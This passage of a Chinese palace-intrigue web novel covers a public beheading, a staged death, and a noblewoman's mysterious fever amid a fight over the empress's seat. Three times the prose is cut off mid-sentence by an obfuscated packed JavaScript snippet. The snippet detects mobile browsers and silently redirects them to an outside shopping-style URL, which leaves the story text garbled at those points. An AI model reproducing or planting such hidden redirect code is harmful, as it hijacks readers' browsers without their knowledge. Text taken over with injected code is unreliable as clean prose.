他如遇人生头等难题般自悲自笑,待悲过笑过恢复平静,仰头遥望青天。 “好!灵渠尽管放手去做!” 围观众人被惊到难以置信,正常人都清楚要舍掉哪方,霍漓江难道是疯魔了吗?莫说佟氏等人不敢相信,霍舒窈咽咽口水又有些心慌,霍二爷都得劝:“二叔,此事从长计议吧,眼前给三妹妹治伤最重要,别因小失大。” 霍漓江没接话,命令护卫把夫人和两个冒牌货捆绑好押上前、把世子兄妹管住别捣乱,继而找把刀递给他女儿,和蔼叮咛:“灵儿使劲儿砍,别怕。” 云南王倒是真惊讶霍漓江竟然能做到这步,越王突然想通了为何霍灵渠宁可流浪在外、沦落娼门也没寻回霍家捅破佟氏的阴谋而选择自己独自抗下所有,是不想毁掉她爹的生活,霍漓江始终是那位把长女看得最重、为长女倾覆其他儿女和姻亲也在所不惜的父亲。 最后看向脸烧伤满面伤疤的道姑,越王错开视线忽略掉对方的求救,他在意是以为她是他无法娶过门的未婚妻,可连身份都是假的,这五六年的点滴交情还会是真的吗,她还有可能会是无辜吗?这还让他怎么对霍灵渠说能不能手下留情放掉个? 霍灵渠握住刀柄当拐杖,撑着她踩痛走到兴献侯夫人和两个假冒货面前,看她们满脸惊悚呜呜乱叫,身体颤抖双腿乱踢想要逃离,她冷漠睇眼,看尽了二十年悲苦痛恨。 绕至适合斩首位置,她挺起背脊迸发出犹如生命尽头最后的力量扬起刀柄再挥刀砍下。 血溅当场,三颗头颅渐次滚落在青石板上,天地间静默无比。 8. 第8章 多少人认定她也许只是虚张声势未必真敢明目张胆动手,滚落的头颅和满地鲜血震住朗朗乾坤下所有躁动,天地间安静得只剩血雾弥漫和握着刀柄摇摇欲坠的女人。 短暂静止后爆发狂响,看客们或面面相觑或交头接耳,被压制着的霍振羽以神挡杀佛的气势挣脱护卫奔向他被害的母亲,云南王快跑到好似被抽空血气的女人身侧扶住她,霍灵渠声丝气咽:“杀人抵命,府尹大人将我关进死牢吧。” 当众行凶逃不掉要押进死牢,霍振羽闻言压住了想要即刻为母复仇的冲动,霍蓁蓁抱着母亲的尸体和头颅哭得上气不接下气,赶到便已成定局的武襄侯府四爷即假霍桑柔的丈夫难以接受道:“岳父,您何至于?” 霍漓江没搭理他甚至还有心情对京兆尹调侃:“找最干净的牢房,请太医给我女儿治伤,如果我闺女在牢狱期间少半根头发,我刮掉你全身的毛。” “侯爷啊?!”您就不能悄悄交代,这不摆明让人知道你很快会用死囚把长女替出来,可您的世子和岳家佟家能肯吗?何况还有您霍家的对头们盯着。 京兆尹头痛地让衙差带这位难办的犯人进大牢,云南王已然主动接过刀扔掉,把虚弱的女人打横抱起让差役带路;霍灵渠眨眨疲惫的眼,感觉好累啊,迷糊间闭眼昏倒。 哦~这位还是镇守边境的云南王的宠妾,京兆尹特想哭,这是想要他老命吗?! 霍二爷让他妹妹去安抚堂妹,霍舒窈憋屈又苦恼地挪动脚步,看见晏霁之飘现眼前还以为自己眼神错乱,听到堂弟堂妹哭喊表哥吓得差点蹦起,僵着脸干笑:“那、那什么……” “我会找你单独聊。” 晏霁之收到消息进城,到此地第一眼就看到那女人被别人抱着,对着他阳奉阴违,当他面讲找姑母找父亲转身就找别的男人,众目睽睽一再让云南王搂抱也不拒,她可真有本事,这女人是在为做云南王妃铺路吗?! 围观老百姓们逐渐散去,霍漓江要等云南王从牢房安排好出来后再聊聊,越王也没走,霍二爷硬着头皮帮堂弟料理婶婶的后事,突然禁卫军飞骑而至禀告:“宫中火势凶猛,圣人被困,皇后娘娘请王爷和侯爷火速进宫救驾。” 越王微怔,看向兴献侯霍漓江,各自看到彼此眼中古怪;霍漓江权衡下没再等云南王,交代侄儿防住晏霁之从中作梗便与越王策马进宫去。 哪怕叔叔没交代,霍二爷心中也有数。 云南王走出京兆尹府衙,看见晏霁之还没疑惑他怎会在此就被告知皇宫走水老皇帝被困形势危急,不待多想也即刻骑马赶往皇城。 棺椁送来,佟氏遗体运回霍家,武襄侯府四爷带他妻子的遗体走,假道姑的尸体送城中义庄,各批人各自离开;唯独晏霁之转个方向往京兆尹府衙去,霍二爷警惕急升,三步并两步走追上他拦截住。 “我真想要作甚也不需如此急,我只是位外甥,你已故二婶的儿女和娘家还没动静,轮得到个外甥出头吗,你看我像是爱多事之辈吗?何况我家已经没落,自顾不暇。” 霍二爷对他最后句话可真难认同,霍舒窈悄咪咪走近掺和:“二哥你先回家,我去牢房照顾灵渠顺便等太医,放心吧,我会寸步不离地陪着三妹。” “好,二哥回府就挑婢女送来。”霍二爷叮嘱妹妹谨慎防范即往府里赶,哪能想得到他这妹妹心怀叵测帮谁还不定呢。 打发掉哥哥,霍舒窈换脸赔笑:“一夜夫妻百日恩,她跟你八年总有些情分,你就高抬贵手放过她,不管怎么说佟氏也是罪有应得。” “然后让你们给她换个身份去做云南王妃?” 霍舒窈笑脸险些挂不住,无奈道:“可她跟你还能过吗,你还能要她吗?她还年轻,难道要她往后余生青灯古佛常伴吗?既然云南王不嫌弃,你就当成人之美;如果你想要补偿,我想办法凑给你行了吧。” “我会在她伤愈前来接她,你做好接应。”晏霁之放话离开,留霍舒窈站在原地差点风中乱凌,不拦你就够客气了还接应?!接个头啊接,让你把我堂妹接走折磨吗?但真让她告密也没那胆量,思虑番决定问过霍灵渠自己的想法她再做打算。 夕阳蹒跚而至,薄暮余晖给平民百姓家披层柔和的金黄外衣,也将皇城本就闪耀的琉璃金砖碧瓦朱门映照得更为焕彩熠熠,只可惜被烧焦倒塌的黑木残殿破坏掉了整体美感。 霍皇后宫中怒骂声不绝,满殿珠宝玉器摆件被砸光也没消减霍皇后心头半丝怒火,她的两位兄长直到宫城门落锁前离开也没把皇后妹妹安抚住。 “真要舍掉佟家?”走出皇宫,兄弟俩仍然步行,长兄穆国公霍秦川犹豫:“何况要舍,就该物尽其用之后再扔,保住佟家到底还大有用处。” 云南王找霍家谈送九皇子吴王归西,哪想霍家应承后被云南王反将一军嫁祸给霍府姻亲。 霍漓江恰巧省得为难:“我从来不信二十年前害灵渠的大火与佟氏有关,在今天之前我真相信那是意外;即使现在,我也不信是佟氏所为。” “哥哥我和爹娘若是有谁存疑过不早已给你续娶?”霍秦川怀疑:“你认为是佟家越过弟妹出手?那这娘家操心得未免太过头,有必要吗?” “佟家想图谋什么?云南王送灵渠进京兆尹府衙暂歇后,我就在考虑这问题。”霍漓江止住脚步站定,讽刺道:“如果有,哥哥你觉得佟家处心积虑是为何? 英王府被夺爵抄家波及晏氏家族多少姻亲,我们霍家有越王和湘王做屏障能明哲保身,佟府既无皇子外孙更是最亲的岳家竟然也能安然无恙甚至更得皇帝重用,可真有能耐。” 霍秦川目光微变,忽而笑了:“大哥我或许得猜有五成可能,把吴王的尸体扔在佟府的主谋是晏霁之而非云南王,他住在京郊两年不能真闲云野鹤啊。” “走吧,我还着急回府要问闺女的伤势。”霍漓江嫌晦气道:“别让我抓到是哪个蠢货在皇城里扔这把大火,做这种半吊的烂事,还不知皇帝的性情会如何变。” “是啊,究竟会是哪位?”穆国公霍秦川眉头皱深深。 云南王亦是带着对宫中大火的疑惑离开皇城返回王府,晏霁之在书房等他,他摇头道:“狗皇帝捡回条老命,闭关修炼的狗巫师没困火海反而被一剑封喉。” “老皇帝性情还稳吗?” “刚处死批宫人和禁军。”云南王拿起茶杯仰头饮尽,眯眼猜测:“肯定还会大肆杀戮,这场火最终会烧到谁身上都难保,朝廷要变天了。” 晏霁之正经询问:“你还要给你爹报仇吗?” “我倒想啊,可突然烧出场几乎要这狗伯伯老命的大火还可能吗?我离宫时整座皇城戒备森严得连只苍蝇都飞不进,哪还有可乘之机?” “会是谁?”晏霁之眸光深沉可他想不通:“没把老皇帝烧死反让皇帝性情难以捉摸,放这场火还能令哪位获益?” “成事不足败事有余!”云南王气闷:“老子要是有怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459200|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑的对象早把他揍成肉饼了。” 晏霁之深思决定:“朝堂接下来的形势太悬,没涉其中,我会尽快撤离京畿。” “我也得准备撤了。”云南王赞同,就怕祸水的伤势不能远行,可这趟要是不带她走,他想再潜回京中把人接走恐怕会悬:“你觉得老五可能会再要霍灵渠吗?” “你认为霍漓江会放心远在天边的你还是在眼皮底下的越王?”晏霁之不掺杂念地表明:“只要霍家不垮,送霍灵渠进越王府做侧妃肯定是最稳的出路。” 云南王想想有些头疼,干脆连夜走趟京兆尹牢狱和霍灵渠谈,未料霍家已经接人走?!他考虑好也没顾忌,转道再跑兴献侯府找霍漓江。 “我正在等女儿清醒的消息,王爷想见,大可一起候着。”霍漓江眼眶红道:“吕太医拿捏不准用药和治法,我让巨浪和枫叶把不当值的太医和全城名医都给请过去了。 打小的毛病,擦破皮磕出点血都得要卧病养两天,请多少名医寻多少偏方也没治好,当年院判与我说也可能是过分娇养之故,可试试粗养贱养之法,我当场就骂回去了,哪怕女儿失掉一滴血都要用人参补我也乐意给闺女养。” 云南王想起来像有这么回事,可是霍灵渠她今天失掉多少血啊…… 不知能否算意料中,皇宫起火还没查清始末,后宫淑妃又遇害身亡,死时双眼凸出全然是死不瞑目状甚至整理遗容的宫人们都阖不上尸体瞪大的眼睛,授康帝疑神疑鬼之下动不动大举屠杀搅得朝堂血雨腥风;佟氏一族被满门抄斩,众封疆大吏被谕令返回地方,无论多少名贵珍稀药材灵丹妙药灌下,霍灵渠始终都没醒。 隆冬至,皑皑白雪的冰冷也掩盖不住京畿的血腥味,也迎来了霍灵渠失掉生息的消息,只是所有期盼她早日清醒的人都没准备好当真要迎接这样的结果。 云南王守在病榻前苦笑,晏霁之站在京郊竹屋前仰望天际纷纷扬扬飘洒的雪花,一站就是整上午;霍舒窈和她兄弟们含泪追忆童年有小雀儿的趣事,霍皇后宫中再被砸得稀巴烂,而越王把自己关在书房里久久闭门不出。 霍灵渠调养的山庄升起丧幔,霍漓江满目疮痍,站在棺椁前注视许久,喊霍枫叶到灵堂外面交代:“过两日你就启程,把灵儿的遗骸送到西南眉州的彭山安葬。 若霍家倾塌,你莫再回京彻底远走他乡。如今朝堂瞬息万变,霍家已然在风口浪尖,我和大哥又还在丁忧,太险,不要你与家族共存亡只需你为霍家保存点血脉。” 与霍灵渠同岁但还没娶妻的霍枫叶犹豫良久终眼酸应承:“好!” 茫茫冰天雪地中,霍枫叶扶灵前往西南眉州;送到最后程,云南王策马回驻地,他在明处送别,另外三位则各自隐在暗处,送过最后程,踏着各自的征途离开,唯独没人能想过或者是会想竟然有人能在他们这么多人眼皮底下玩移花接木偷梁换柱。 在山庄中霍灵渠没死,以假死之法被偷出运走,但与真死却没剩多少区别,依旧沉睡,直到度过春暖花开又度过炎炎盛夏,她才在西南眉州的一个山谷中醒来。 两年后,授康三十九年,老皇帝崩,五皇子越王灵前继位登基为新帝,来年改年号正徽。 正徽元年,霍灵渠踏上寻找看望小祐之路,寻觅至边关,在烈焰火海中结束生命,已经十二岁的小祐对着冲天火势哭得泣不成声;火海中,青铜鼎褪掉破败的表壁释放万千金光,在青铜鼎盘旋的凤凰似要凌空腾飞,浴火涅槃。 9. 第9章 正徽四年,刚进入八月,秋雨连绵不休,整座国都城被拖进天水相间的潮湿水雾中。 难得斜风细雨天,一辆悬挂琉璃灯盏的富贵马车在皇宫巍峨的昭德门前停驻。昭德门乃朝廷官眷们进出内廷最常走的宫门,把守宫门的侍卫们对常进内廷的官眷们几乎都能认识,正如眼前这位建威侯夫人,更重要的是建威侯夫人是当今郭皇后的母亲。 打伞的仆妇给守门侍卫递上彰显身份的令牌,侍卫登记好放行,年近五旬的建威侯夫人便轻车熟路地穿过昭德门往内廷走去。 “这是最近第四趟了吧,”年轻的守兵眉眼活络,闲时放松就跟身侧的哥们聊聊八卦:“那传言真是真的啊,皇上要换位皇后娘娘?” “不要脑袋了!”年长的守兵冷刀眼甩去,尚未被皇家森严规矩吓住的小侍卫略感委屈:“我也没瞎嚷,宫里宫外都不是秘密了。” 四年前即授康二十八年,五十二岁的圣人重病场后突然决定禅位引发朝野震动,更令人意想不到的是圣人居然是要禅位给第五子越王。 当是时论皇子出身贵重、论在朝堂的名望、论得父皇宠信全部轮不到越王,甚至越王是霍皇后也就是如今霍太后的养子,还得看嫡母和霍家脸色过日子。 不知多少朝臣奏疏规劝,然而无用,圣人一意孤行,愣是力排众议将皇位有惊无险地成功禅让给越王;越王登基为新帝,来年改年号正徽,慢慢在朝堂确立新君威信,只是随着新君皇位稳固,新的争端角逐也油然而生。 首当其冲就是正徽帝的潜邸原配郭皇后! 按说越王妃郭氏正位中宫皇后,理应接掌后宫大权,可霍家势大,霍太后跋扈,郭皇后至今还没沾到过半点掌宫权;这也罢了最多忍忍,不想又传出霍家意图捧霍氏女登临凤座、要逼迫郭皇后引辞后位进道观修行的消息。 自初夏传出风声,官眷圈中明里暗里传扬小半年,可不是宫里宫外都不是秘密了。 而霍家之所以没使阴招害郭皇后而要迫其自己引辞也简单,两家是亲戚啊,皇帝年少还是越王要娶妻时这位媳妇就是养母给选的;郭皇后之父建威侯是霍家太夫人嫡亲的娘家侄儿,换言之郭皇后是霍太后正正经经的表侄女。 这亲戚关系虽然够近,可到底仍是两姓人家,如何能挡得住霍家要捧自家姑娘上位?! 当然正徽帝也并非窝囊地就听之任之,虽不知他们三方如何交涉,但伴随着霍家要捧霍氏女登凤位的消息而来的是明年正月皇帝将会册封正一品贵妃。 正徽帝的后宫,在皇后之下一品妃位还全部空缺,何况是位同副后的贵妃娘娘,有几家能不垂涎?而今贵妃会出自哪家才是朝堂大热。 “女儿如何担保?” 郭皇后婉丽端秀姿色出众,美貌还未曾被岁月侵蚀,只是这大半年搅得她寝食难安,白皙的眼角有几道细纹滋生。她倚在紫檀木罗汉床中,既无国母气度也没有中宫皇后的威仪,反倒像被抛弃的怨妇:“难道我不愿意贵妃出自我自己的娘家吗?” 建威侯夫人明白女儿心中苦,哪想霍家会那么欺负人连半点亲戚的脸皮情分都不肯顾,可事情已经成定局只能争最大的利益:“臣妇知道、知道娘娘难做。 可我们家被霍家欺辱至此,我们岂会不是最想扳倒霍家的人家,我们岂会不是陛下辖制霍家最得用的家族?哪怕是为大皇子和二公主,两位殿下还小,没有母亲护着,两位殿下在宫中可还怎么活呀,娘娘务必要与陛下细细陈情啊。” 闻言,郭皇后又悲痛又愤恨,再难忍耐地骂出忌讳:“窝囊废!” 建威侯夫人大惊,连忙暂放下争取贵妃位改安抚皇后。 碧瓦朱檐下一条条嘀嗒掉的雨珠串成帘幕,雾蒙蒙的天际与晦暗朦胧不休,平整的宫道也蓄起浅浅水坑,溅水打湿的烦闷散在皇城琉璃玉砖铺就的各个角落。 留在皇后宫中用过午膳,建威侯夫人才离开,天空还在飘扬淅淅沥沥的水珠,奴婢为她撑伞挡雨,她仍不免被雨水溅湿衣袍,无奈想这场秋雨何时才能停啊。 一位宫装丽人悄无声息地出现在这条宫道隐蔽处,目送这位皇后的母亲消失在拐角尽头,她冷哼嗤笑声,带着打伞的宫婢转个方向去芷筠斋找蝶贵人霍鹣娇。 “妹妹看姐姐我可是陛下的亲表妹,自潜邸起就陪伴在陛下身侧,都八年了,今年才有位公主;妹妹你进宫都还不满两年,正年轻貌美,将来还大有可为,真不知太后娘娘急什么,莫非就嫌妹妹是庶出,担不起后宫的至尊高位吗?” “我知道我只是霍家的庶女,不能入姑母的眼,不需珍姐姐一再提醒。”霍鹣娇身着海棠红艳丽宫装,裙摆缀碎宝石衣襟勾金丝,按品阶论这身宫裙已经逾制;可有太后姑母,她日常穿戴用物向来是用正三品的用度。 海棠红宫裙颜色浓醇逼近正红,衬得她愈发肤白若凝脂,妩媚娇艳胜海棠,只可惜被她眼中的不耐和戾气败坏掉美感:“珍姐姐没其他事,我就不送你了。” “妹妹虽是庶出却出自霍家嫡长房,你父亲承袭穆国公爵位,将来更是霍家族长,真要论你二叔兴献侯这房都算旁支了,让旁支压到嫡系头上岂非本末倒置吗?”珍昭仪掩唇娇笑,好意提点道:“妹妹不是有嫡亲侄女吗?你正年轻,再过七八年等姑侄联手岂不更好?” 霍鹣娇憋着火逐客,珍昭仪笑吟吟施施然起身离开,刚跨出殿门,背后就传来碎响,她冷冷一笑,就不信挑不起霍家起内讧;她还想取代郭氏呢,自进潜邸起就想,奈何肚皮太不争气只能窝火忍,可她既然能生就不愁生不出皇子,偏偏霍家搞这种花样?! 正徽元年时她仅被封为正四品婕妤,好在钟萃宫那贱人也只得正三品,她只得忍了。在宫里熬四年,她刚晋到正三品,正踌躇满志呢,霍家就搞这种花样?! 要是让霍蓁蓁登临凤座再来位家世雄厚的贵妃,还有钟萃宫那贱人多年盛宠不衰,又有拾翠阁那小蹄子得宠愈隆,明年又将进行秀女大选,若不在此前登上高位,她得被欺压成什么样?!就算拦不住霍蓁蓁进宫,贵妃的位置她也必须抢到手。 芷筠斋主殿中,蝶贵人霍鹣娇砸碎好几件瓷器摆设才稍减点怒火。 珍昭仪的提议是可取但让她便宜嫡母比被堂妹压头更难受啊,他们和嫡母向来是死对头,如果换成嫡母的孙女进宫做皇后,那她和她姨娘都得被活活憋屈死。 可真要是被那堂妹得逞了,她还能剩什么机会?霍鹣娇越想越火冒三丈,把殿内的摆设都砸了还不解气,恨恨骂二房太黑心,这种阴损黑招都使得出,当她是死人吗?! 恨两三日,霍鹣娇咬咬牙,派宫人向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459201|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑母报备声就以霍太后的名义宣她同母姐姐进宫。姐妹俩商量半天,决定拿侄女做幌好拦住堂妹的妄想。 毕竟她们嫡母的嫡长孙女都才九岁,侄女想进宫都是七八年以后,还愁霍鹣娇没在后宫站稳吗?到时候再拦住侄女让整个家族捧霍鹣娇和她生的皇子,这才是一举两得。 她俩设想得妙,也没考虑过父亲穆国公会否允准,理所当然认为父亲肯定会答应。由此姐姐霍鸳娇出宫就回娘家找她姨娘,还留到了傍晚等父亲回府。 “爹下令禁足反省时娉姨娘脸都涨成猪肝色了,这种事隔几年才能遇到回啊,仗着父亲偏宠,尾巴都快要翘上天了,真以为娘会拿她没辙吗?不屑跟她计较而已,有失咱们身份,还真拿自己当回事儿了。 居然提议换成让咱们大侄女进宫把蓁蓁过两年正位中宫的筹谋给拦住,可真能想;爹没理会就够清楚了,娉姨娘还要上蹿下跳闹着让爹同意,活该被禁足。” 霍三爷霍雄鹰自顾叨叨许久终于察觉姐姐心不在焉,顿时生气:“霍舒窈你想什么呢,我特意来告诉你、她们倒霉的好消息,你不仅不和我共鸣还晾着我,你对得起亲弟弟的赤诚之心吗?过分了啊。” “我有个闺蜜病重,”霍舒窈鹅蛋脸,修眉端鼻,眼大有神,美艳之中自有英气,她被弟弟拉回思绪,烦道:“高烧三天都没退热,我担心她;偏偏她男人在外省办差事还没回来,想给她请太医都难。” “你哪个闺蜜?”霍雄鹰顺口问,霍舒窈敷衍:“你不认识。”然后被弟弟反驳:“你所有的闺蜜我都认识好哇,故意蒙混想骗我是吧。” “是我新结识的闺蜜,你还没见过。”怕弟弟追问,霍舒窈机智地跳个话题:“真要逼表姐进道观修行换成让霍蓁蓁顶上吗,忒缺德吧;建威侯总是祖母的嫡亲侄儿,这么一折腾,祖母还能和娘家人往来吗?” 霍雄鹰也无奈:“二婶和蓁蓁闹着要抢皇后的位置嘛,二叔不搭理也没用啊,她们劝动太后姑母同意了;姑母的意思就是,既然两年前已经让霍鹣娇进宫,我们家肯定要争的,和郭家早晚得撕破脸皮也没必要再惺惺作态,那就利索抢呗。” “作孽,两年前霍鹣娇进宫时我就觉得够作孽了。”霍舒窈嫌恶地骂道:“看越王登基,居然非要闹着退掉定好的亲事,拖到十九岁还硬是要进宫,吃相那么恶心还想在宫中立足,做她的春秋大梦去吧。” “姑母心里窝火啊,圣人禅位给越王,湘王直接不用争,多憋屈。”霍雄鹰劝道:“蓁蓁进宫也好,霍鹣娇不用妄想能再出头;不然被她生出一儿半女封个妃位,将来我们见到她得跪拜行礼不得呕死吗?” “总算还有点好处。”霍舒窈喝杯茶润润嗓消消气,顺便聊贵妃人选:“贵妃挑在谁家,陛下透露过意向吗?姑母好歹是陛下的嫡母更是养母,就算封位贵妃是为平衡后宫也不能真对我们家明火执仗,那抢到皇后的位置还能剩多少好处?” 霍雄鹰摇头:“二哥试探过,陛下就开玩笑,如果没有十六年前的大火,三姐姐没毁容,现在早已是皇后娘娘,霍家哪还需争抢?” 霍舒窈猝不及防差点被口水噎住,暗骂糟心弟弟没事提霍灵渠作甚?但想想这堂妹是惨,考虑两圈还是决定明日去趟英王府问过她的病情,怎么会高烧三天都不退病得那么重? 10. 第10章 屋顶雷声轰鸣,闪电如利剑劈裂天空,铺天盖地的大雨倾泻,狠狠砸在雕栏玉砌、树梢花瓣间的猛烈气势叫那些想迈出房屋门槛的人们望而生畏。 英王府大奶奶裴氏在前院花厅招待没递拜贴就过来的霍舒窈,好奇问她怎么这般滂沱大雨天还有兴致出门? 霍舒窈很自然:“我出门时不雨势还小,哪想没半个时辰又雷鸣闪电掉冰雹似的大雨;你看这场秋雨连着下大半月还没停,我窝在家里都快发霉了,就想出府透透气。” “可不,往年这时候酱蟹宴桂花宴金菊宴各家宴会早热闹起来了,哪像今年这鬼天?!”裴氏面貌白皙妩媚,身段婀娜,丝毫看不出她已经三十岁;她身着紫绡翠纹百合裙,发髻间珠翠环绕,脖子里戴着的红宝石项链更衬得她富贵逼人。 “嗳~听说明年陛下要册封的贵妃娘娘将会出自佟家,是真的吗?” “哪户佟家?”霍舒窈一时没转过弯,裴氏睇她眼哼笑道:“还能是哪户佟家,自然是我们王妃和你二婶的娘家佟家。” “陛下要册封贵妃是为平衡后宫,挑霍蓁蓁外祖家的表姐还能平衡吗?”霍舒窈怪异:“你从哪里听到的小道消息?” 裴氏淡淡道:“我府上徐侧妃的四姑娘不是两月前刚及笄吗?徐侧妃想求父亲为四姑娘的前程争一争,王妃就透露了那么点意思。” 霍舒窈惊讶:“不会吧,陛下若挑佟家的姑娘还能平衡后宫吗?即使感念太后的抚养恩情,也不至于让霍蓁蓁坐凤座还要再把她外祖家的嫡亲表姐捧到位同副后的贵妃位置上,挑你英王府的姑娘都比挑佟家的姑娘强啊。” “谁晓得呢,也许宫中还没做准,王妃心向娘家便听风就是雨。”裴氏嘲讽意味颇浓,霍舒窈心里腹诽你这庶长媳做得也忒不敬嫡母,但与她无关懒得多言,不着痕迹抛此行正事:“我倒听说你们府上那位流光姨娘病重高烧好多天没退,不是有人故意使坏吧?” “那位可是世子爷的心尖宠,谁敢呀?”裴氏微觉怪异:“前几天流光姨娘她不知何故冲出屋跑进大雨中,奴婢们拦都拦不住,昏倒前人还神神叨叨,像突然发疯似的。” 好端端的突然发疯还能没人害吗?霍舒窈皱眉:“那她现在怎么样?” “浑浑噩噩的一直没醒,高烧也不退,府医自请无能、提出要给她请城里的名医诊治。”裴氏随意:“世子爷没在府中,我怎能越俎代庖管到他的宠妾头上?只能凭王妃怜惜,或者等世子爷回府再处理,想来淋场雨的小病也没多大碍。” 霍舒窈差点要反骂有本事让你去重病高烧三天不退试试,好在忍住了。 她倒不怀疑是晏霁之的内宅阴私,因为只有流光姨娘是晏霁之自己挑的,其他小妾要么是别人送的要么是他爹娘塞给他,而他竟然一个都不睡,把他娘气得几乎要吐血也没踏进过那些水灵灵小妾的房门;眼线把消息报给她时,霍舒窈直接风中乱凌…… 世间怎会有这种禽兽不如的混球和不孝子?这混球为何不早生二十年,叫她那见色贪欢爱美只差宠妾灭妻的爹好好看看学学?! 霍舒窈也不是要过问别人家的内宅中事,还不是因为有让她操碎心的堂妹在嘛。 想当年霍灵渠还在霍家时,对于抢走她身为嫡长孙女应有风光体面疼爱的三堂妹,她绝对是不满打压超过对妹妹的喜爱照顾;可这娃倒霉悲惨,又只有她晓得霍灵渠现在在英王府做英王世子的宠妾,偏偏她还没法告诉家里,就只能她多看顾点了。 四年前晏霁之掏天价白银买个美貌绝代的青楼行首做妾,她耳闻过也是听过就扔,是交际圈中多听到些流光祸水的话题,她稍微好奇又不是什么事就跑英王府瞧瞧,第一眼看到也只有覆国祸水的印象,难怪能把晏霁之迷得晕头转向。 但两家是亲戚平常走动多,她又稍微存点好奇想看这祸水会怎么在英王府兴风作浪,让她神奇的是人家内宅平静得不能再和谐;她的好奇心就多了点,于是看流光的次数就多了,疑惑也就出来了,怎么这祸水有种似曾相识的眼熟? 等她确认流光即她堂妹霍灵渠,霍舒窈吓得心惊肉跳,她的妈妈呀,这是要捅破天啊!都不知自己耗多久才平复,平复好心态她就只能开始操心—— 偷偷在英王府埋眼线看顾霍灵渠,叫奴婢给她送银票供日常打点花销送补品调养身体,劝她早些和晏霁之生孩子,有孩儿以后和男人好好过;毕竟放下仇恨,安稳生活也是好事,不然闹得一大串人都不能再好过……霍舒窈只想想就觉得头疼。 带着对堂妹的良好期许回到自家,忍过多日也没收到眼线报上平安,她实在忍无可忍,带着城中最有名望的两位老大夫就冲到英王府要接管流光姨娘的病,甭管能否令人信服反正就一句:“我怜香惜玉,见不得这么美的祸水红颜薄命。” 然而城中两位名医与府医会诊也无济于事,霍舒窈摸摸堂妹滚烫到吓人的纤手,咬牙再派奴婢去请四个太医过来;这四位太医前脚跨进门槛,霍雄鹰后脚追来。 “大姐你脑袋又抽风了?人家晏霁之的宠妾你那么上心作甚?拿太后姑母做幌硬逼着太医们跑英王府给小妾治病,咱们家差点要以为你被五通神附体了。” “姐姐我乐意!”霍舒窈烦躁极了:“要是这批太医还不中用,霍雄鹰你去给我把院判和两个副院使都请来,反正流光姨娘若有个好歹,我跟你没完!” 霍三爷想说,让御医们给姐姐你治病可能更恰当。 雨落梧桐打芭蕉,连绵秋雨像勤劳耕作的小姑娘誓要将秋愁带进千家万户,豌豆大的水滴孜孜不倦地从天际密麻掉落,多娇媚的芍药花都失掉了光鲜,更难再寻菊桂飘香。 身在撷芳馆的霍桑柔心急如焚想要溜进英王府可被鸨母和打手们死死拦住。 皇宫中,霍太后不同意侄女无理取闹但也没压死,让侄儿去请皇帝旨意,被抽风兼可能被五通神附体的老姐死活压制的霍雄鹰很无所谓地去找皇帝陛下走个过场。 “请院判给晏霁之的宠妾医治,只是高烧病重,四位太医和城中最有名望的老大夫却都治不好,你姐姐对晏霁之的宠妾上心得像入了魔障?”为何那么像种指引和征兆? 殿外雨声悠扬,殿内明黄纱幔挂帘轻晃,淡极的龙涎香气悄无声息地温柔四溢,映在烛光中的皇帝神情愈加莫测,时间被推慢,就在霍雄鹰认为陛下要呵斥番把他赶走时皇帝说:“好,你把院判在内的太医署所有太医都带去英王府吧。” 霍雄鹰心肝颤了颤,特别想婉拒:陛下您无需这般厚待霍家,您即使要厚待霍家也不该任由我那个被五通神附体的大姐没事找事瞎胡闹啊。 整座太医院被搬进英王府,不仅王府众人看得叹为观止,霍舒窈也深感惊讶弟弟的本事:“你是怎么劝动陛下的?” 霍雄鹰哼哼唧唧,心说我能帮你劝吗?是陛下厚待霍家,愿意任凭你瞎折腾而已。 隔日傍晚,即将被黑暗吞噬的天际深陷在暴雨锤炼中,英王府后院的流光小筑灯火通明,焦灼与恐慌正像在亮光触摸不到的漆黑中疯狂滋长。 已经没人相信流光姨娘会只是淋雨高烧的小病,可是没有医者能找出病症,自然更无法对症下药令病患退烧退热,一种犹如烈焰在灼烧的滚烫充斥病榻,唯一处理之法便是用碎冰稍降体温,院判直言没有遇到过这种疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459202|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难杂症。 “听祖父说过大相国寺的主持大师医术卓绝,还有城外不是有个性情古怪的神医吗?”霍雄鹰陪姐姐在英王府滞留两日,看得真是奇了怪了,更神奇的是高烧滚烫那么多天没死,脉象还是那个脉象,他就不信会治不好:“要么我明天去请?” “那病情还能拖得起吗?”霍舒窈没好气地踹弟弟一脚:“赶紧的,现在立刻就去!” 霍雄鹰凶凶地反瞪,真想怼句:又不是你的宠妾,轮得到你那么操心吗?咬牙忍住了,默默在心里记笔姐姐的小黑状等这事了结再讨债。 